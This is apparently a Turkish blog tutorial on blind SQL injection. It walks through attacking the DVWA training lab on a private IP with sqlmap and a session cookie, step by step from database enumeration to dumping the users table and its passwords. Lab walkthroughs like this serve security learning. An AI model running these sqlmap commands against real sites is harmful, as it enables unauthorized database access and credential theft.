Blind Sql Injection Nedir ?
Blind sql injection bildiğiniz üzere önceki yazılarımda anlattığım sql injectionun çıktısının olmadığı bir saldırı türüdür. Yani hatalarımızın yer almadığı , çıktımızın tırnak işaretiyle gösterilemeyeceği bir injection türüdür. Bunun için körleme sql injection da normal sql injectiondaki gibi komutlar girerekte zafiyetimizi bulabiliriz fakat körleme olduğu için oldukça uzun sürebilir. Bu yüzden sqlmap kullanarak zafiyetimizi kullanacağız.
Öncelikle ilk adım olarak burpsuite veya owasp ile bu körleme işlemleri uzun olacağı için otomatik yapan sqlmap kullanacağız .
İhtiyacımız olan PHPSESSID ‘dir. Tarayıcınızda f12 basarak resources kısmından da bulabilirsiniz veya burpsuit , owaspda da görebilirsiniz.

Gördüğünüz gibi PHPSESSID mizi bulduk daha sonrasında sql mapa geçiş yapacağız.
sqlmap -u “http://192.168.138.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=ce85a2f406d7978cb7e276a81825e61a“


DBMS’NİN MySQL 5.0.12 olduğunu, işletim sisteminin Ubuntu olduğunu ve Web sunucusunun Apache 2.4.29 olduğunu keşfettik.
Daha sonra -dbs diyerek DBMS’yi görmeye yani veritabanını görmeye zorluyoruz.
sqlmap -u “http://192.168.138.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=ce85a2f406d7978cb7e276a81825e61a” –dbs


İsimlerini bulduk sonrasında -d diyerek tabloları bulmak için zorlayalım.
sqlmap -u “http://192.168.138.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=ce85a2f406d7978cb7e276a81825e61a” –dbs -D dvwa –tables


Tablolarıda bulduğumuza göre sırada kolonları bulmak var. –
sqlmap -u “http://192.168.138.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=ce85a2f406d7978cb7e276a81825e61a” –dbs -D dvwa -T users –columns


Ve users sütununu bulduğumuza göre dumplarımızı alabiliriz. -D dvwa -T user –dump kodunu kullanarak sonuca varıyoruz.
sqlmap -u “http://192.168.138.129/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=ce85a2f406d7978cb7e276a81825e61a” –dbs -D dvwa -T user –dump



Gördüğünüz gibi şifreleri almış bulunduk sıra geleceğiz medium levele.